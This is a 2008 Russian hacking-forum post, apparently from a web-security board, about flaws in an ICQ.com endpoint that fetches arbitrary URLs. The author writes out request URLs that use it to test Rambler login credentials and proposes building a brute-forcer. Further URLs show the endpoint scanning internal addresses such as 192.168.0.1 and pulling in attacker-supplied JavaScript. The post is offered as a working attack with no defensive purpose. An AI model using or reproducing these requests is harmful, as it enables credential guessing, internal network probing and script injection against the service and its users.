Некоторые баги Icq.com

Некоторые баги Icq.com

02.06.2008, 16:47

КВР

Познающий

Регистрация: 23.04.2008

Сообщений: 39

С нами: 9499716

Репутация: 135

Некоторые баги Icq.com

К сути вопроса.
[php]
http://id.rambler.ru/script/reg.cgi&username=xspider1@rambler.ru&password=5213 38
[php]
так показывает ошибку 404

PHP код:


		
			
https://www.icq.com/xtraz2/products/coreg/php/check_lsp_details.php?url=http://id.rambler.ru/script/reg.cgi&username=xspider1@rambler.ru&password=521338

Так запрос выполняется нормально.
если выдаёт 1 то логин пасс верные если нет то 0.
таким образом можно написать брутфорсер.
Скрипт:

PHP код:


		
			
https://www.icq.com/xtraz2/products/coreg/php/check_lsp_details.php?url=

является сам по себе вэб прокси сервером.
Те переходя по ссылке https://ips.icq.com/
мы емеем 404.

PHP код:


		
			
 https://www.icq.com/xtraz2/products/coreg/php/check_lsp_details.php?url=https://ips.icq.com

Всё ок.Нету форбиден.
можно проскалитть локалку

PHP код:


		
			
 https://www.icq.com/xtraz2/products/coreg/php/check_lsp_details.php?url=http://192.168.0.1



и так далее.

Можно приинклудить джава скрипт.

PHP код:


		
			
https://www.icq.com/xtraz2/products/coreg/php/check_lsp_details.php?url=УРЛ_С_ДЖАВА_СКРИПТОМ

Ccылка на исходьник скрипта.

PHP код:


		
			
http://webfile.ru/1990419

Web-defence.ru

𝕏 Twitter Reddit Telegram Копировать ссылку

Похожие темы

Тема

Автор

Раздел

Ответов

Последнее сообщение

Некоторые баги vkontakte.ru

lord_of_keyboard

Социальные сети

1510

17.06.2010 16:40

Дефейс по быстрому. Баги на сервере. Админ не выставил права на папки

lexa

Комментарии к видео

31.01.2005 08:54